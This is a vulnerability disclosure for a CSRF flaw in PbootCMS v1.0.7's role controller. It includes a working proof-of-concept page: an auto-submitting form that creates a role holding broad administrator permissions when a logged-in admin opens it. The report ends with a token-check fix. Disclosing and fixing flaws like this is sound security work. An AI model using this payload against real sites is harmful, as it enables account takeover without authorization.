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PbootCMS/V1.0.7 csrf
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| There is a CSRF(Cross Site Request Forgery) security vulnerablity in PbootCMS v1.0.7 | |
| Description: | |
| An issue was discovered in PbootCMS v1.0.7. | |
| Cross-site request forgery (CSRF) vulnerability in /PbootCMS/apps/admin/controller/system/RoleController.php allows remote attackers to | |
| add administrator accounts. | |
| Triggering condition: Administrator clicks on malicious link | |
| The Cause of the vulnerability: | |
| In 49th of RoleController.php script: | |
| We can find that this script does not have an anti-csrf mechanism. | |
| Poc: | |
| Logined administrator clicks the url:http://192.168.2.2/evil.html | |
| payload:http://127.0.0.1/PbootCMS/admin.php/role/add.html | |
| evil.html: | |
| <form action="http://127.0.0.1/PbootCMS/admin.php/role/add.html" method="POST"> | |
| <input type="text" name="name" value="test" /> | |
| <input type="text" name="description" value="test" /> | |
| <input type="text" name="acodes[0]" value="cn" /> | |
| <input type="text" name="levels[0]" value="/admin/M156/index" /> | |
| <input type="text" name="levels[1]" value="/admin/Config/index" /> | |
| <input type="text" name="levels[6]" value="/admin/Label/mod" /> | |
| <input type="text" name="levels[10]" value="/admin/Model/mod" /> | |
| <input type="text" name="levels[14]" value="/admin/ExtField/mod" /> | |
| <input type="text" name="levels[17]" value="/admin/Site/mod" /> | |
| <input type="text" name="levels[19]" value="/admin/Company/mod" /> | |
| <input type="text" name="levels[23]" value="/admin/ContentSort/mod" /> | |
| <input type="text" name="levels[30]" value="/admin/Content/mod" /> | |
| <input type="text" name="levels[34]" value="/admin/Message/mod" /> | |
| <input type="text" name="levels[38]" value="/admin/Slide/mod" /> | |
| <input type="text" name="levels[42]" value="/admin/Link/mod" /> | |
| <input type="text" name="levels[47]" value="/admin/Area/mod" /> | |
| <input type="text" name="levels[51]" value="/admin/Menu/mod" /> | |
| <input type="text" name="levels[55]" value="/admin/Role/mod" /> | |
| <input type="text" name="levels[59]" value="/admin/User/mod" /> | |
| <input type="text" name="levels[64]" value="/admin/Type/mod" /> | |
| <input type="text" name="levels[65]" value="/admin/Database/index" /> | |
| <input type="text" name="levels[66]" value="/admin/Site/server" /> | |
| </form> | |
| <script> document.forms[0].submit(); </script> | |
| The evil.html is only used to prove that you can add an administrator account and gain some permission. | |
| Repair method: | |
| Join the random token check |